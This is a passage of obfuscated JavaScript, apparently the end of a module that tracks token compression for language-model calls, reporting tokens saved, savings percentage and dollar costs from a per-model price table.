_0x2e206b=_0x2ec122;(!_0x2e206b||_0x2e206b===_0x229c04(0xb3)||!exports[_0x229c04(0xbd)][_0x2e206b])&&(_0x1aeb58['length']>0x0&&_0x1aeb58[_0x1aeb58['length']-0x1]['model_used']?_0x2e206b=_0x1aeb58[_0x1aeb58[_0x229c04(0x95)]-0x1]['model_used']:_0x2e206b=this[_0x229c04(0xc7)]()[_0x229c04(0xb7)]||'claude-3-5-sonnet');const _0x25321e=exports[_0x229c04(0xbd)][_0x2e206b]||exports[_0x229c04(0xbd)][_0x229c04(0xc0)],_0x471372=_0x492e56*_0x25321e['input_price_1m']/0xf4240,_0x1c8235=_0x3b6fde*_0x25321e['input_price_1m']/0xf4240,_0x34cf5c=_0x4cf0de*_0x25321e[_0x229c04(0xbe)]/0xf4240,_0x573fea=_0x3b6fde>0x0?_0x492e56/_0x3b6fde*0x64:0x0;return{'total_raw_tokens':_0x3b6fde,'total_compressed_tokens':_0x4cf0de,'total_tokens_saved':_0x492e56,'savings_percentage':parseFloat(_0x573fea[_0x229c04(0x9a)](0x1)),'money_saved_usd':parseFloat(_0x471372[_0x229c04(0x9a)](0x4)),'raw_cost_usd':parseFloat(_0x1c8235[_0x229c04(0x9a)](0x4)),'compressed_cost_usd':parseFloat(_0x34cf5c['toFixed'](0x4)),'model_name':_0x25321e[_0x229c04(0xa0)],'model_key':_0x2e206b};}}exports[a0_0x1f2fc9(0x91)]=Tracker,exports[a0_0x1f2fc9(0xb2)]=new Tracker();
|